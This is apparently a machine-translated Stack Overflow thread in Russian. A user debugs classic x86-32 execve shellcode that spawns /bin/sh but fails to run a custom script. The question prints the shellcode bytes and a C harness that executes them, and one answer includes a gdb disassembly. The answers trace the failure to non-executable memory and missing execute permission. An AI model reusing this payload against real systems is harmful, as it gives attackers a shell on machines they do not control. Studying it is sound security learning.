Шеллкод выполняет /bin/sh, но не ./abcde

Я пытаюсь запустить шелл-код на сервере, где у меня нет доступа к оболочке, но у меня есть доступ к моему собственному исполняемому скрипту bash.

Мой шеллкод выглядит так:

 unsigned char code[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x8d\x4b\x08\x89\x43"
                        "\x0c\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh";

Когда я запускаю его локально, я создаю оболочку с кодом. Я также могу запускать другие команды, такие как /bin/ls... Однако, когда я пытаюсь изменить /bin/sh на ./abcde, мой исполняемый файл не запускается.

 unsigned char code[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x8d\x4b\x08\x89\x43"
                        "\x0c\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff./abcde";

Что я делаю неправильно? Я на машине x86-32..

РЕДАКТИРОВАТЬ: Чтобы сделать это более понятным, это сценарий:

 unsigned char code[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x8d\x4b\x08\x89\x43"
                   "\x0c\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh";

  unsigned char code1[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x8d\x4b\x08\x89\x43"
                   "\x0c\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff./abcde";

 int main(void){
 void (*f)(void);
 f = (void (*)(void))code; //works
 f = (void (*)(void))code1; //Does NOT work
 f();
 }

person user1090614    schedule 25.02.2014    source источник
comment
Таким образом, вы пытаетесь обойти ограничение, наложенное на машину, которая вам не принадлежит... Вам следует отредактировать вопрос и уточнить реальный сценарий, если вы хотите, чтобы люди были готовы вам помочь. Это взято с конкурса? Или что?   -  person Stefano Sanfilippo    schedule 25.02.2014
comment
На самом деле это на моей собственной машине, но я выполняю эксплойт через сервер-клиент (оба на моей машине), и из-за сервера я не могу создать оболочку и запустить ее команды. Но я сделал сценарий bash, который можно выполнить в каталоге, к которому я обращаюсь, и хотел бы выполнить этот сценарий. Кроме того, шелл-код порождает оболочку, если я тестирую ее локально в небольшой программе, но не запускает мой сценарий, если я заменяю /bin/sh на ./abcde.   -  person user1090614    schedule 25.02.2014
comment
попробуйте полный путь к скрипту. скажи /home/user/abcde   -  person Sakthi Kumar    schedule 25.02.2014
comment
@SakthiKumar Я пробовал - не работает :/   -  person user1090614    schedule 25.02.2014
comment
@StefanoSanfilippo Я отредактировал вопрос, теперь он более понятен?   -  person user1090614    schedule 25.02.2014
comment
Вы установили разрешение на выполнение?   -  person Devolus    schedule 25.02.2014
comment
Содержание было ясно и раньше, что вы должны уточнить, так это то, что вы не делаете здесь ничего противозаконного, так как тема пограничная. Кстати, под каким пользователем выполняется скрипт? Есть ли у него разрешение на выполнение вашего исполняемого файла? И доступ на чтение к папке?   -  person Stefano Sanfilippo    schedule 25.02.2014
comment
Спасибо @Devolus!! Не могу поверить, что я пропустил это.   -  person user1090614    schedule 25.02.2014


Ответы (2)


Ваша программа не очень переносима, поскольку вы включаете инструкции ia32 в свои строки. С некоторой помощью gdb было легче читать:

  (gdb) disassemble/r code,code1
  Dump of assembler code from 0x804a040 to 0x804a080:
       0x0804a040 <code+0>: eb 15   jmp    0x804a057 <code+23>
       0x0804a042 <code+2>: 5b      pop    %ebx
       0x0804a043 <code+3>: 31 c0   xor    %eax,%eax
       0x0804a045 <code+5>: 89 5b 08        mov    %ebx,0x8(%ebx)
       0x0804a048 <code+8>: 88 43 07        mov    %al,0x7(%ebx)
       0x0804a04b <code+11>:        8d 4b 08        lea    0x8(%ebx),%ecx
       0x0804a04e <code+14>:        89 43 0c        mov    %eax,0xc(%ebx)
       0x0804a051 <code+17>:        89 c2   mov    %eax,%edx
       0x0804a053 <code+19>:        b0 0b   mov    $0xb,%al
       0x0804a055 <code+21>:        cd 80   int    $0x80
       0x0804a057 <code+23>:        e8 e6 ff ff ff  call   0x804a042 <code+2>
       0x0804a05c <code+28>:        2f      das
       0x0804a05d <code+29>:        62 69 6e        bound  %ebp,0x6e(%ecx)
       0x0804a060 <code+32>:        2f      das
       0x0804a061 <code+33>:        73 68   jae    0x804a0cb
       0x0804a063 <code+35>:        00 00   add    %al,(%eax)
       0x0804a065:  00 00   add    %al,(%eax)
       0x0804a067:  00 00   add    %al,(%eax)
       0x0804a069:  00 00   add    %al,(%eax)
       0x0804a06b:  00 00   add    %al,(%eax)
       0x0804a06d:  00 00   add    %al,(%eax)
       0x0804a06f:  00 00   add    %al,(%eax)
       0x0804a071:  00 00   add    %al,(%eax)
       0x0804a073:  00 00   add    %al,(%eax)
       0x0804a075:  00 00   add    %al,(%eax)
       0x0804a077:  00 00   add    %al,(%eax)
       0x0804a079:  00 00   add    %al,(%eax)
       0x0804a07b:  00 00   add    %al,(%eax)
       0x0804a07d:  00 00   add    %al,(%eax)
       0x0804a07f:  00 eb   add    %ch,%bl

однако полезный компилятор помещает код в переменный сегмент, что вызовет ошибку сегментации, когда процессор перейдет к «строке», которую попытается выполнить из нее.

Я думаю, что это аналогичный вопрос: системный вызов sys_execve из сборки

person Simson    schedule 25.02.2014

Внимательное прочтение вопроса показывает, что на самом деле происходит. На самом деле компилятор с радостью утомит вас, поместив это в переменную область; однако целевая платформа ОС, вероятно, не поддерживает NX (включение NX для произвольного 32-битного процесса долгое время было рецептом катастрофы, поскольку расширения GCC требовали, чтобы стек был исполняемым).

Настоящая проблема в том, что у вас нет доступа к bash для выполнения. По вашему собственному признанию, ваш ./abcde является bash-скриптом, поэтому загрузчик интерпретирует #!/bin/bash, переходит к открытию /bin/bash и обнаруживает, что у вас нет разрешений x и ругается. exec() возвращает -Esomething с непредсказуемыми результатами, когда вы запускаете конец шеллкода.

person Joshua    schedule 09.03.2016